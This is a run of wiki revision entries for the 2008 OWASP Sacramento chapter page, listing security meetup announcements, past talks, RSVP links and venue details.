&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Future Meetings ==&lt;br /&gt;
&lt;br /&gt;
TBD 2009: A series of hands-on training sessions with [[:Category:OWASP_WebGoat_Project|WebGoat]] are planned.  Bring your laptop with a CD-ROM drive so you can boot the [[:Category:OWASP_Live_CD_2008_Project|OWASP Live CD]].  Please email the [mailto:mpetteys@caiso.com chapter leader] if there are specific techniques you are interested in learning.&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=40945</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=40945"/>
				<updated>2008-09-23T22:12:13Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Future Meetings ==&lt;br /&gt;
&lt;br /&gt;
October 2008: A hands-on training with [[:Category:OWASP_WebGoat_Project|WebGoat]] is planned.  Bring your laptop with a CD-ROM drive so you can boot the [[:Category:OWASP_Live_CD_2008_Project|OWASP Live CD]].&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=36221</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=36221"/>
				<updated>2008-08-15T19:46:06Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Next Meeting - September 25th ==   &lt;br /&gt;
&lt;br /&gt;
There will be no August meeting.  The topic of the September meeting is currently being discussed.     &lt;br /&gt;
&lt;br /&gt;
== Future Meetings ==&lt;br /&gt;
&lt;br /&gt;
October: A hands-on training with [[:Category:OWASP_WebGoat_Project|WebGoat]] is planned.  Bring your laptop with a CD-ROM drive so you can boot the [[:Category:OWASP_Live_CD_2008_Project|OWASP Live CD]].&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=34348</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=34348"/>
				<updated>2008-07-20T05:45:30Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Next Meeting - JULY 31st ==   &lt;br /&gt;
   &lt;br /&gt;
The next OWASP Sacramento meeting will be on Thursday July 31st at 6pm. The topic of this meeting will be &amp;quot;How to Test the Security of Web Applications.&amp;quot;  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Beverages, snacks and the presentation will be provided by the presenter.   &lt;br /&gt;
   &lt;br /&gt;
Please use the online RSVP form below or contact Mpetteys at caiso.com by 7/28/08 if you plan to attend.   &lt;br /&gt;
   &lt;br /&gt;
http://fs2.formsite.com/mpetteys/form330949260/index.html&lt;br /&gt;
   &lt;br /&gt;
TOPIC: How to Test the Security of Web Applications&lt;br /&gt;
&lt;br /&gt;
This session aims to help you organize and execute security testing for web applications in a consistent manner.  We will review the OWASP Testing Framework and the OWASP Testing Guide and discuss how you can use them to increase assurance that your web applications are secure from known threats.  Tools and techniques will be demonstrated as they relate to the testing methodology. Please bring questions - the goal is to make this something practical rather than just a &amp;quot;nice presentation.&amp;quot;  The types of tests that will be covered are:&lt;br /&gt;
* Information Gathering&lt;br /&gt;
* Business Logic Testing&lt;br /&gt;
* Authentication Testing&lt;br /&gt;
* Session Management Testing&lt;br /&gt;
* Data Validation Testing&lt;br /&gt;
* Denial of Service Testing&lt;br /&gt;
* Web Services Testing&lt;br /&gt;
* Ajax Testing&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
SPEAKER BIO:   &lt;br /&gt;
Roman Hustad is an experienced security tester and Principal Consultant at Foundstone, a division of McAfee.  He has an extensive background in Sacramento-area enterprise web development and is a regular presenter at security and programming-related events.  Besides all that, he's fun to listen to and promises you won't find this one boring!&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Matt Petteys, 916-873-4716   &lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670 &lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=29102</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=29102"/>
				<updated>2008-05-08T17:51:26Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=27505</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=27505"/>
				<updated>2008-04-02T19:57:09Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Next Meeting - APRIL 3RD ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting will be on Thursday April 3rd at 6pm. The topic of this meeting will be Passive Web Application Defect Identification. This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA.  Food, beverage, and the presentation will be provided by Breach Security.&lt;br /&gt;
&lt;br /&gt;
Please use the online RSVP form below or contact Mpetteys at caiso.com by 3/26/08 if you plan to attend.&lt;br /&gt;
&lt;br /&gt;
http://fs2.formsite.com/mpetteys/form826893818/index.html&lt;br /&gt;
&lt;br /&gt;
TOPIC&lt;br /&gt;
&lt;br /&gt;
Identifying web application vulnerabilities has traditionally been achieved by running vulnerability scanners.  While these tools can been effective, they have some deficiencies, mainly that they are simply snap-shots in time and they often add network load on the web application.  Web application firewalls can help to detect application defects in applications by monitoring the application as it is used. In this presentation, Ryan Barnett, Director of Application Security at Breach, will discuss how deploying a web application firewall can provide more value beyond simply protecting applications from attack.&lt;br /&gt;
&lt;br /&gt;
Due to their strategic placement within the application's communication stream, web application firewalls, can provide a great deal of visibility into how an application is used and detect defects by watching the interaction between the application and a client. &lt;br /&gt;
&lt;br /&gt;
This presentation will discuss: &lt;br /&gt;
* Real-time application monitoring - unprecedented insight for security teams into the communication of application's they are responsible for protecting&lt;br /&gt;
* Application defect detection - scanning vs. monitoring usage&lt;br /&gt;
* Enhancements for the application development lifecycle - more comprehensive application assessment than simulated tests&lt;br /&gt;
&lt;br /&gt;
SPEAKER BIO: Ryan Barnett – Director of Application Security Training&lt;br /&gt;
&lt;br /&gt;
Ryan C. Barnett is a recognized security thought leader and evangelist who frequently speaks with the media and industry groups.  Ryan is the director of application security at Breach Security. He is also a faculty member for the SANS Institute, where his duties include instructor/courseware developer for Apache Security/Building a Web Application Firewall Workshop, Top 20 Vulnerabilities Team Member and Local Mentor for the SANS Track 4, &amp;quot;Hacker Techniques, Exploits and Incident Handling&amp;quot; course. He holds six SANS Global Information Assurance Certifications (GIAC): Intrusion Analyst (GCIA), Systems and Network Auditor (GSNA), Forensic Analyst (GCFA), Incident Handler (GCIH), Unix Security Administrator (GCUX) and Security Essentials (GSEC).  Mr. Barnett also serves as the team lead for the Center for Internet Security Apache Benchmark Project and is a member of the Web Application Security Consortium. His web security book, &amp;quot;Preventing Web Attacks with Apache,” was published by Addison/Wesley in 2006.&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892.  Any problems, please contact Matt Petteys, 916-873-4716&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]&lt;br /&gt;
*: 3215 Prospect Park Drive&lt;br /&gt;
*: Rancho Cordova , CA&lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2008-03-26: Ryan C. Barnett from [http://www.breach.com/ Breach Security] will be presenting &amp;quot;Passive Web Application Defect Identification&amp;quot; on April 3rd 2008.&lt;br /&gt;
&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=24853</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=24853"/>
				<updated>2008-01-29T19:58:13Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Next Meeting ==&lt;br /&gt;
* The next OWASP Sacramento meeting will be on Thursday Feb 28 at 6pm. The topic of this meeting will be a general presentation and introduction to OWASP. This meeting will be hosted at EDS Medi-Cal in Rancho Cordova , CA .  We will not be providing food and drink at this presentation but will be choosing a local restaurant for a follow-up networking event.&lt;br /&gt;
&lt;br /&gt;
* Please use the online RSVP form below or contact Mpetteys at caiso.com by 2/21/08 if you plan to attend.&lt;br /&gt;
*: http://fs2.formsite.com/mpetteys/form547016053/index.html&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892.  Any problems, please contact Matt Petteys, 916-873-4716&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]&lt;br /&gt;
*: 3215 Prospect Park Drive&lt;br /&gt;
*: Rancho Cordova , CA&lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
OWASP is pleased to announce the arrival of OWASP 2.0!&lt;br /&gt;
&lt;br /&gt;
OWASP 2.0 utilizes the MediaWiki portal to manage and provide&lt;br /&gt;
the latest OWASP related information. Enjoy!&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=24852</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=24852"/>
				<updated>2008-01-29T19:44:52Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Next Meeting ==&lt;br /&gt;
